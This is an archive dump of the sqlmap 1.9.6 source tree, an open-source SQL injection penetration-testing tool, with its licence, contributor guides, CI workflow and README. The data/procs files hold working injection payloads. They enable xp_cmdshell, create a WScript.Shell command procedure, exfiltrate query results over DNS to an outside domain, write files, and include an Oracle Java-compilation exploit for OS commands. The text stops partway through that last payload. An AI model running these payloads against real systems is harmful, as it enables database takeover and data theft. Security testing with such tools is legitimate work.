pax_global_header00006660000000000000000000000064150226174420014515gustar00rootroot0000000000000052 comment=e60bd21b08d6d9420886c678803ab62cbe8fc5d3 sqlmap-1.9.6/000077500000000000000000000000001502261744200130275ustar00rootroot00000000000000sqlmap-1.9.6/.gitattributes000066400000000000000000000006441502261744200157260ustar00rootroot00000000000000*.conf text eol=lf *.json text eol=lf *.html text eol=lf *.md text eol=lf *.md5 text eol=lf *.pl text eol=lf *.py text eol=lf *.sh text eol=lf *.sql text eol=lf *.txt text eol=lf *.xml text eol=lf *.yaml text eol=lf *.yml text eol=lf LICENSE text eol=lf COMMITMENT text eol=lf *_ binary *.dll binary *.pdf binary *.so binary *.wav binary *.zip binary *.x32 binary *.x64 binary *.exe binary *.sln binary *.vcproj binary sqlmap-1.9.6/.github/000077500000000000000000000000001502261744200143675ustar00rootroot00000000000000sqlmap-1.9.6/.github/CODE_OF_CONDUCT.md000066400000000000000000000062131502261744200171700ustar00rootroot00000000000000# Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] [homepage]: http://contributor-covenant.org [version]: http://contributor-covenant.org/version/1/4/ sqlmap-1.9.6/.github/CONTRIBUTING.md000066400000000000000000000066611502261744200166310ustar00rootroot00000000000000# Contributing to sqlmap ## Reporting bugs **Bug reports are welcome**! Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues). ### Guidelines * Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. * Make sure you can reproduce the bug with the latest development version of sqlmap. * Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. * If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?* ## Submitting code changes All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37). Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests). Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next! ### Guidelines In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions: * Each patch should make one logical change. * Avoid tabbing, use four blank spaces instead. * Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org). * Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. * Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests. * Style that is too different from main branch will be ''adapted'' by the developers side. * Do not touch anything inside `thirdparty/` and `extra/` folders. ### Licensing By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. sqlmap-1.9.6/.github/FUNDING.yml000066400000000000000000000000261502261744200162020ustar00rootroot00000000000000github: sqlmapproject sqlmap-1.9.6/.github/ISSUE_TEMPLATE/000077500000000000000000000000001502261744200165525ustar00rootroot00000000000000sqlmap-1.9.6/.github/ISSUE_TEMPLATE/bug_report.md000066400000000000000000000015421502261744200212460ustar00rootroot00000000000000--- name: Bug report about: Create a report to help us improve title: '' labels: bug report assignees: '' --- **Describe the bug** A clear and concise description of what the bug is. **To Reproduce** 1. Run '...' 2. See error **Expected behavior** A clear and concise description of what you expected to happen. **Screenshots** If applicable, add screenshots to help explain your problem. **Running environment:** - sqlmap version [e.g. 1.7.2.12#dev] - Installation method [e.g. pip] - Operating system: [e.g. Microsoft Windows 11] - Python version [e.g. 3.11.2] **Target details:** - DBMS [e.g. Microsoft SQL Server] - SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind] - WAF/IPS [if any] - Relevant console output [if any] - Exception traceback [if any] **Additional context** Add any other context about the problem here. sqlmap-1.9.6/.github/ISSUE_TEMPLATE/feature_request.md000066400000000000000000000011401502261744200222730ustar00rootroot00000000000000--- name: Feature request about: Suggest an idea for this project title: '' labels: feature request assignees: '' --- **Is your feature request related to a problem? Please describe.** A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] **Describe the solution you'd like** A clear and concise description of what you want to happen. **Describe alternatives you've considered** A clear and concise description of any alternative solutions or features you've considered. **Additional context** Add any other context or screenshots about the feature request here. sqlmap-1.9.6/.github/workflows/000077500000000000000000000000001502261744200164245ustar00rootroot00000000000000sqlmap-1.9.6/.github/workflows/tests.yml000066400000000000000000000013371502261744200203150ustar00rootroot00000000000000on: push: branches: [ master ] pull_request: branches: [ master ] jobs: build: runs-on: ${{ matrix.os }} strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] python-version: [ 'pypy-2.7', '3.13' ] exclude: - os: macos-latest python-version: 'pypy-2.7' steps: - uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: ${{ matrix.python-version }} - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" - name: Smoke test run: python sqlmap.py --smoke - name: Vuln test run: python sqlmap.py --vuln sqlmap-1.9.6/.gitignore000066400000000000000000000001151502261744200150140ustar00rootroot00000000000000output/ __pycache__/ *.py[cod] .sqlmap_history traffic.txt *~ req*.txt .idea/sqlmap-1.9.6/LICENSE000066400000000000000000000447061502261744200140470ustar00rootroot00000000000000COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. sqlmap is (C) 2006-2025 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; Version 2 (or later) with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed sqlmap technology into proprietary software, we sell alternative licenses (contact sales@sqlmap.org). Note that the GPL places important restrictions on "derived works", yet it does not provide a detailed definition of that term. To avoid misunderstandings, we interpret that term as broadly as copyright law allows. For example, we consider an application to constitute a "derived work" for the purpose of this license if it does any of the following: * Integrates source code from sqlmap. * Reads or includes sqlmap copyrighted data files, such as xml/queries.xml * Executes sqlmap and parses the results (as opposed to typical shell or execution-menu apps, which simply display raw sqlmap output and so are not derivative works). * Integrates/includes/aggregates sqlmap into a proprietary executable installer, such as those produced by InstallShield. * Links to a library or executes a program that does any of the above The term "sqlmap" should be taken to also include any portions or derived works of sqlmap. This list is not exclusive, but is meant to clarify our interpretation of derived works with some common examples. Our interpretation applies only to sqlmap - we do not speak for other people's GPL works. This license does not apply to the third-party components. More details can be found inside the file 'doc/THIRD-PARTY.md'. If you have any questions about the GPL licensing restrictions on using sqlmap in non-GPL works, we would be happy to help. As mentioned above, we also offer alternative license to integrate sqlmap into proprietary applications and appliances. If you received these files with a written license agreement or contract stating terms other than the terms above, then that alternative license agreement takes precedence over these comments. Source is provided to this software because we believe users have a right to know exactly what a program is going to do before they run it. Source code also allows you to fix bugs and add new features. You are highly encouraged to send your changes to dev@sqlmap.org for possible incorporation into the main distribution. By sending these changes to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap project the unlimited, non-exclusive right to reuse, modify, and relicense the code. sqlmap will always be available Open Source, but this is important because the inability to relicense code has caused devastating problems for other Free Software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License v2.0 for more details at http://www.gnu.org/licenses/gpl-2.0.html, or below **************************************************************************** GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS sqlmap-1.9.6/README.md000066400000000000000000000124131502261744200143070ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. Screenshots ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki. Installation ---- You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master). Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform. Usage ---- To get a list of basic options and switches use: python sqlmap.py -h To get a list of all options and switches use: python sqlmap.py -hh You can find a sample run [here](https://asciinema.org/a/46601). To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Links ---- * Homepage: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * User's manual: https://github.com/sqlmapproject/sqlmap/wiki * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots Translations ---- * [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) * [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) * [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) * [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md) * [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) * [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) * [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) * [Kurdish (Central)](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md) * [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md) * [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md) * [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) * [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) * [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md) sqlmap-1.9.6/data/000077500000000000000000000000001502261744200137405ustar00rootroot00000000000000sqlmap-1.9.6/data/html/000077500000000000000000000000001502261744200147045ustar00rootroot00000000000000sqlmap-1.9.6/data/html/index.html000066400000000000000000000132031502261744200167000ustar00rootroot00000000000000 DEMO

DEMO

sqlmap-1.9.6/data/procs/000077500000000000000000000000001502261744200150665ustar00rootroot00000000000000sqlmap-1.9.6/data/procs/README.txt000066400000000000000000000002731502261744200165660ustar00rootroot00000000000000Files in this folder represent SQL snippets used by sqlmap on the target system. They are licensed under the terms of the GNU Lesser General Public License where not specified otherwise. sqlmap-1.9.6/data/procs/mssqlserver/000077500000000000000000000000001502261744200174545ustar00rootroot00000000000000sqlmap-1.9.6/data/procs/mssqlserver/activate_sp_oacreate.sql000066400000000000000000000002431502261744200243410ustar00rootroot00000000000000EXEC master..sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'ole automation procedures',1; RECONFIGURE WITH OVERRIDE sqlmap-1.9.6/data/procs/mssqlserver/configure_openrowset.sql000066400000000000000000000003661502261744200244500ustar00rootroot00000000000000EXEC master..sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0; RECONFIGURE WITH OVERRIDE sqlmap-1.9.6/data/procs/mssqlserver/configure_xp_cmdshell.sql000066400000000000000000000003541502261744200245420ustar00rootroot00000000000000EXEC master..sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',%ENABLE%; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'show advanced options',0; RECONFIGURE WITH OVERRIDE sqlmap-1.9.6/data/procs/mssqlserver/create_new_xp_cmdshell.sql000066400000000000000000000004151502261744200246730ustar00rootroot00000000000000DECLARE @%RANDSTR% nvarchar(999); set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID'; EXEC master..sp_executesql @%RANDSTR% sqlmap-1.9.6/data/procs/mssqlserver/disable_xp_cmdshell_2000.sql000066400000000000000000000000571502261744200246250ustar00rootroot00000000000000EXEC master..sp_dropextendedproc 'xp_cmdshell' sqlmap-1.9.6/data/procs/mssqlserver/dns_request.sql000066400000000000000000000003051502261744200225270ustar00rootroot00000000000000DECLARE @host varchar(1024); SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%'; EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"') # or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"') sqlmap-1.9.6/data/procs/mssqlserver/enable_xp_cmdshell_2000.sql000066400000000000000000000001061502261744200244430ustar00rootroot00000000000000EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll' sqlmap-1.9.6/data/procs/mssqlserver/run_statement_as_user.sql000066400000000000000000000005151502261744200246070ustar00rootroot00000000000000SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%') # SELECT * FROM OPENROWSET('SQLNCLI', 'server=(local);trusted_connection=yes','SET FMTONLY OFF SELECT 1;%STATEMENT%') # SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','SET FMTONLY OFF %STATEMENT%') sqlmap-1.9.6/data/procs/mysql/000077500000000000000000000000001502261744200162335ustar00rootroot00000000000000sqlmap-1.9.6/data/procs/mysql/dns_request.sql000066400000000000000000000001251502261744200213060ustar00rootroot00000000000000SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%RANDSTR1%')) sqlmap-1.9.6/data/procs/mysql/write_file_limit.sql000066400000000000000000000001111502261744200222740ustar00rootroot00000000000000LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- - sqlmap-1.9.6/data/procs/oracle/000077500000000000000000000000001502261744200163335ustar00rootroot00000000000000sqlmap-1.9.6/data/procs/oracle/dns_request.sql000066400000000000000000000006151502261744200214120ustar00rootroot00000000000000SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL # or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL # or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual sqlmap-1.9.6/data/procs/oracle/read_file_export_extension.sql000066400000000000000000000037321502261744200244700ustar00rootroot00000000000000SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return 